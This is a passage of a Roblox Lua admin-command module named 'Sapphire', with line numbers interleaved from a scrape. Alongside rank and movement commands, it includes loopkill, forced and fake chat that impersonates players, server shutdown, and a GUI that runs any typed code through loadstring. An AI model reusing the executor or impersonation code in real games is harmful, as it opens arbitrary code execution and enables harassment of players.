head.Position = UDim2.new(0.5, -150, 0, 0)
848
head.Size = UDim2.new(0, 300, 0, 50)
849
head.Font = Enum.Font.Highway
850
head.FontSize = Enum.FontSize.Size28
851
head.Text = "Sapphire Rank Override"
852
head.TextColor3 = Color3.new(1, 1, 1)
853
head.TextSize = 28
854
855
CodeInput.Name = "CodeInput"
856
CodeInput.Parent = Body
857
CodeInput.BackgroundColor3 = Color3.new(1, 1, 1)
858
CodeInput.Position = UDim2.new(0.5, -75, 0, 100)
859
CodeInput.Size = UDim2.new(0, 150, 0, 30)
860
CodeInput.Font = Enum.Font.SourceSans
861
CodeInput.FontSize = Enum.FontSize.Size14
862
CodeInput.Text = "Login"
863
CodeInput.TextScaled = true
864
CodeInput.TextSize = 14
865
CodeInput.TextWrapped = true
866
867
LoginButton.Name = "LoginButton"
868
LoginButton.Parent = Body
869
LoginButton.BackgroundColor3 = Color3.new(1, 1, 1)
870
LoginButton.BackgroundTransparency = 1
871
LoginButton.Position = UDim2.new(0, 25, 0, 150)
872
LoginButton.Size = UDim2.new(0, 80, 0, 30)
873
LoginButton.Font = Enum.Font.SourceSansBold
874
LoginButton.FontSize = Enum.FontSize.Size28
875
LoginButton.Text = "Login"
876
LoginButton.TextColor3 = Color3.new(0.333333, 0.666667, 0)
877
LoginButton.TextSize = 28
878
879
CancelButton.Name = "CancelButton"
880
CancelButton.Parent = Body
881
CancelButton.BackgroundColor3 = Color3.new(1, 1, 1)
882
CancelButton.BackgroundTransparency = 1
883
CancelButton.Position = UDim2.new(0, 200, 0, 150)
884
CancelButton.Size = UDim2.new(0, 80, 0, 30)
885
CancelButton.Font = Enum.Font.SourceSansBold
886
CancelButton.FontSize = Enum.FontSize.Size28
887
CancelButton.Text = "Cancel"
888
CancelButton.TextColor3 = Color3.new(1, 0, 0)
889
CancelButton.TextSize = 28
890
891
TextLabel.Parent = Body
892
TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
893
TextLabel.BackgroundTransparency = 1
894
TextLabel.Position = UDim2.new(0.5, -100, 0, 40)
895
TextLabel.Size = UDim2.new(0, 200, 0, 50)
896
TextLabel.Font = Enum.Font.Highway
897
TextLabel.FontSize = Enum.FontSize.Size24
898
TextLabel.Text = "Please login to get rank 6."
899
TextLabel.TextColor3 = Color3.new(1, 1, 1)
900
TextLabel.TextSize = 24
901
902
LoginButton.MouseButton1Click:connect(function()
903
	if CodeInput.Text == Override then
904
	Interface:remove()
905
	SetRank(player, 7)
906
	else
907
		local WrongCode = Instance.new('TextLabel',Body)
908
		WrongCode.Name = "WrongCode"
909
        WrongCode.Parent = Body
910
        WrongCode.BackgroundColor3 = Color3.new(1, 1, 1)
911
        WrongCode.BackgroundTransparency = 1
912
        WrongCode.Position = UDim2.new(0, 50, 0, 200)
913
        WrongCode.Size = UDim2.new(0, 200, 0, 50)
914
        WrongCode.Font = Enum.Font.SourceSansBold
915
        WrongCode.FontSize = Enum.FontSize.Size24
916
        WrongCode.Text = "Wrong Code!"
917
        WrongCode.TextColor3 = Color3.new(1, 0, 0)
918
        WrongCode.TextSize = 24
919
        wait(3)
920
        WrongCode:remove()
921
	end
922
  end)
923
CancelButton.MouseButton1Click:connect(function()
924
	  Interface:remove()
925
   end)
926
end)
927
928
NewCommand('WalkSpeed','ws',3,'Set someones walkspeed',function(player,message)
929
	local Split = message:find(Splitkey)
930
    local PreSplit = message:sub(1, Split - 1)
931
    local AfterSplit = message:sub(Split + 1)
932
    for _,plr in next,GetPlayers(player,PreSplit) do
933
	plr.Character.Humanoid.WalkSpeed = tonumber(AfterSplit)
934
end
935
end)
936
937
NewCommand('Jump Power','jp',3,'Set someones jumppower',function(player,message)
938
	local Split = message:find(Splitkey)
939
    local PreSplit = message:sub(1, Split - 1)
940
    local AfterSplit = message:sub(Split + 1)
941
    for _,plr in next,GetPlayers(player,PreSplit) do
942
	plr.Character.Humanoid.JumpPower = tonumber(AfterSplit)
943
end
944
end)
945
946
947
948
NewCommand('Get Ranked','ranked',0,'Get the ranked players',function(player,message)
949
	getRanked(player)
950
end)
951
952
NewCommand("Force Chat","fchat",5,"Force someone to say something",function(player,message)
953
	local Split = message:find(Splitkey)
954
	local PreSplit = message:sub(1, Split - 1)
955
	local AfterSplit = message:sub(Split + 1)
956
	for _,plr in next,GetPlayers(player,PreSplit) do
957
		FC(plr, tostring(AfterSplit))
958
	end
959
end)
960
961
NewCommand('Loopkill','lk',4,'Loopkill someone',function(player,message)
962
	for _,plr in next,GetPlayers(player,message) do
963
		while wait() do
964
			plr.Character.Humanoid.Health = 0
965
		end
966
	end
967
end)
968
969
970
971
972
NewCommand("Fake Chat","fake",5,"Fake a chat message",function(player,message)
973
	local Split = message:find(Splitkey)
974
	local PreSplit = message:sub(1, Split - 1)
975
	local AfterSplit = message:sub(Split + 1)
976
	
977
	Services = setmetatable({},{__index=function(s,n) 
978
	if n == "ChatService" then
979
		return require(game.ServerScriptService:WaitForChild("ChatServiceRunner"):WaitForChild("ChatService"));
980
	else
981
		return game:service(n)
982
	end
983
end})
984
local FakeChat = Services.ChatService:AddSpeaker(PreSplit)
985
986
if not Services.ChatService:GetChannel("All") then
987
	Services.ChatService:AddChannel("All")
988
	for i,v in next, game:service'Players':players() do
989
		if Services.ChatService:GetSpeaker(v.Name) then
990
			 Services.ChatService:GetSpeaker(v.Name):JoinChannel("All")
991
		end
992
	end
993
end
994
995
FakeChat:JoinChannel("All")
996
997
998
999
	FakeChat:SayMessage(tostring(AfterSplit),"All")
1000
1001
1002
wait(0.01)
1003
1004
Services.ChatService:RemoveSpeaker(PreSplit)
1005
end)
1006
1007
1008
1009
NewCommand('No Loopkill','unlk',4,'UnLoopkill someone',function(player,message)
1010
	for _,plr in next,GetPlayers(player,message) do
1011
		plr.Character = nil
1012
		wait(0.3)
1013
		plr:LoadCharacter()
1014
	end
1015
end)
1016
1017
NewCommand("Set Waves","wave",5,"Set if waves are on or off",function(player,message)
1018
	Output(player, 'Do you want waves on?','Institutional white')
1019
	Output(player, 'Yes','Lime green',function() Waves = true end)
1020
	Output(player, 'No','Really red',function() Waves = false end)
1021
end)
1022
1023
NewCommand("Add Channel","add",6,"Add a channel to the chat system",function(player,message)
1024
	addChannel(message)
1025
end)
1026
1027
NewCommand('Ping','ping',0,'Ping a message on a tablet',function(player,message)
1028
	Output(player, message, GetColor(player))
1029
	if message == "" then
1030
		Output(player, 'Sapphire', 'Lime green')
1031
	end
1032
end)
1033
1034
NewCommand("Show Players","plrs", 4, "Show the players on the game",function(player,message)
1035
	getPlayers(player)
1036
end)
1037
1038
1039
NewCommand("Gear","gear",4,"Gear someone a tool",function(player,message)
1040
	local Split = message:find(Splitkey)
1041
	local PreSplit = message:sub(1, Split - 1)
1042
	local AfterSplit = message:sub(Split + 1)
1043
	for _,plr in next,GetPlayers(player,PreSplit) do
1044
		game:GetObjects("rbxassetid://"..tostring(AfterSplit))[1].Parent = plr.Backpack
1045
	end
1046
end)
1047
1048
NewCommand('Shutdown','sd',5,'Shutdown the server',function(player,message)
1049
	for i,v in pairs(game.Players:GetPlayers()) do
1050
		v:kick('[Sapphire]: Server has been shutdown.')
1051
	end
1052
end)
1053
1054
NewCommand("Script Executor GUI","exegui",5,"Give someone a script executor gui",function(player,message)
1055
	for _,plr in next,GetPlayers(player,message) do
1056
		-- Objects
1057
1058
local ScreenGui = Instance.new("ScreenGui")
1059
local Frame = Instance.new("Frame")
1060
local TextButton = Instance.new("TextButton")
1061
local TextBox = Instance.new("TextBox")
1062
local TextButton_2 = Instance.new("TextButton")
1063
local TextButton_3 = Instance.new("TextButton")
1064
local TextLabel = Instance.new('TextLabel')
1065
1066
-- Properties
1067
1068
ScreenGui.Parent = plr.PlayerGui
1069
1070
Frame.Parent = ScreenGui
1071
Frame.BackgroundColor3 = Color3.new(0, 0, 0.498039)
1072
Frame.BackgroundTransparency = 0.5
1073
Frame.Draggable = true
1074
Frame.Position = UDim2.new(0.5, -200, 0.5, -200)
1075
Frame.Selectable = true
1076
Frame.Size = UDim2.new(0, 400, 0, 400)
1077
Frame.Visible = true
1078
1079
TextButton.Parent = Frame
1080
TextButton.BackgroundColor3 = Color3.new(0, 0, 0)
1081
TextButton.BackgroundTransparency = 0.60000002384186
1082
TextButton.Position = UDim2.new(0, 380, 0, 0)
1083
TextButton.Size = UDim2.new(0, 20, 0, 20)
1084
TextButton.FontSize = Enum.FontSize.Size24
1085
TextButton.Text = "-"
1086
TextButton.TextColor3 = Color3.new(1, 1, 1)
1087
1088
TextBox.Parent = Frame
1089
TextBox.BackgroundColor3 = Color3.new(1, 1, 1)
1090
TextBox.Position = UDim2.new(0, 50, 0, 50)
1091
TextBox.Size = UDim2.new(0, 300, 0, 250)
1092
TextBox.ClearTextOnFocus = false
1093
TextBox.Font = Enum.Font.SourceSans
1094
TextBox.FontSize = Enum.FontSize.Size14
1095
TextBox.MultiLine = true
1096
TextBox.Text = "INPUT YOUR SCRIPT HERE"
1097
TextBox.TextScaled = false
1098
TextBox.TextWrapped = true
1099
TextBox.TextXAlignment="Left"
1100
TextBox.TextYAlignment="Top"
1101
1102
TextButton_2.Parent = Frame
1103
TextButton_2.BackgroundColor3 = Color3.new(0, 0, 0)
1104
TextButton_2.Position = UDim2.new(0, 50, 0, 330)
1105
TextButton_2.Size = UDim2.new(0, 50, 0, 50)
1106
TextButton_2.Font = Enum.Font.SourceSansBold
1107
TextButton_2.FontSize = Enum.FontSize.Size24
1108
TextButton_2.Text = "EXE"
1109
TextButton_2.TextColor3 = Color3.new(1, 1, 1)
1110
1111
TextButton_3.Parent = Frame
1112
TextButton_3.BackgroundColor3 = Color3.new(0.666667, 0, 0)
1113
TextButton_3.Position = UDim2.new(0, 300, 0, 330)
1114
TextButton_3.Size = UDim2.new(0, 50, 0, 50)
1115
TextButton_3.Font = Enum.Font.SourceSansBold
1116
TextButton_3.FontSize = Enum.FontSize.Size24
1117
TextButton_3.Text = "CLR"
1118
TextButton_3.TextColor3 = Color3.new(1, 1, 1)
1119
1120
TextLabel.Parent = Frame
1121
TextLabel.Text = "SCRIPT EXECUTION GUI"
1122
TextLabel.Size = UDim2.new(0, 380, 0, 20)
1123
TextLabel.TextScaled = true
1124
TextLabel.TextColor3 = Color3.new(255,255,255)
1125
TextLabel.BackgroundTransparency = 1
1126
TextLabel.Selectable = true
1127
TextLabel.Draggable = true
1128
1129
TextButton.MouseButton1Click:connect(function()
1130
	if Frame.Size == UDim2.new(0, 400, 0, 400) then
1131
		Frame.Size = UDim2.new(0, 400, 0, 20)
1132
		TextButton.Text = "+"
1133
		TextBox.Visible,TextButton_2.Visible,TextButton_3.Visible = false,false,false
1134
	else
1135
		Frame.Size = UDim2.new(0, 400, 0, 400)
1136
		TextButton.Text = "-"
1137
		TextBox.Visible,TextButton_2.Visible,TextButton_3.Visible = true,true,true
1138
	end
1139
end)
1140
TextButton_2.MouseButton1Click:connect(function()
1141
	local success,errored = loadstring(TextBox.Text)
1142
	if success and not errored then
1143
		success()
1144
	else
1145
		TextBox.Text = "Error: "..errored
1146
	end
1147
end)
1148
1149
TextButton_3.MouseButton1Click:connect(function()
1150
	TextBox.Text = ""
1151
end)
1152
	end
1153
end)
1154
1155
NewCommand('Mute','mute',6,'Mute a player',function(player,message)
1156
	for _,plr in next,GetPlayers(player,message) do
1157
		Sbexe('x/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)', plr)
1158
	end
1159
end)
1160
1161
NewCommand('UnMute','unmute',6,'UnMute a player',function(player,message)
1162
	for _,plr in next,GetPlayers(player,message) do
1163
		Sbexe('x/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, true)', plr)
1164
	end
1165
end)
1166
1167
NewCommand("Stun","stun",3,"Stun a player",function(player,message)
1168
	for _,plr in next,GetPlayers(player,message) do
1169
		plr.Character.Humanoid.PlatformStand = true
1170
	end
1171
end)
1172
1173
NewCommand("Change Override Code","newcode",7,"Change the override code to Sapphire",function(player,message)
1174
	Override = message
1175
end)
1176
1177
NewCommand("UnStun","unstun",3,"UnStun a player",function(player,message)
1178
	for _,plr in next,GetPlayers(player,message) do
1179
		plr.Character.Humanoid.PlatformStand = false
1180
	end
1181
end)
1182
1183
--Loadup--
1184
1185
for i,v in pairs(game.Players:GetPlayers()) do
1186
     Output(v, 'Welcome to Sapphire, '..v.Name..'!',GetColor(v))
1187
     Output(v, 'Your rank is: '..GetRank(v),'Deep orange')
1188
     Output(v, 'Click to show commands','Bright green',function() Commands_E(v) end)
1189
     Output(v, 'Dismiss','Really red',function() Dismiss(v) end)
1190
     Output(v, 'Your suffix is '..GetSuffix(v), 'Cyan')
1191
1192
	   if GetRank(v) >= 1 then
1193
	     Services.ChatService:GetSpeaker(v.Name):SetExtraData("NameColor", Color3.new( 170, 0, 127))
1194
	     Services.ChatService:GetSpeaker(v.Name):SetExtraData("ChatColor", Color3.new( 255, 255, 0))
1195
     else
1196
	     Services.ChatService:GetSpeaker(v.Name):SetExtraData("NameColor", Color3.new( 0, 170, 255))
1197
	     Services.ChatService:GetSpeaker(v.Name):SetExtraData("ChatColor", Color3.new( 0, 180, 0))
1198
	     end
1199
1200
     v.Chatted:connect(function(m)
1201
           Chatted(v, m)
1202
   end)
1203
end
1204
1205
function setChatColor(player)
1206
	pcall(function()
1207
		coroutine.wrap(function()
1208
		if GetRank(player) >= 1 then
1209
	     Services.ChatService:GetSpeaker(player.Name):SetExtraData("NameColor", Color3.new( 170, 0, 127))
1210
	     Services.ChatService:GetSpeaker(player.Name):SetExtraData("ChatColor", Color3.new( 255, 255, 0))
1211
     else
1212
	     Services.ChatService:GetSpeaker(player.Name):SetExtraData("NameColor", Color3.new( 0, 170, 255))
1213
	     Services.ChatService:GetSpeaker(player.Name):SetExtraData("ChatColor", Color3.new( 0, 180, 0))
1214
		     end
1215
		end)()
1216
	end)
1217
end
1218
1219
return module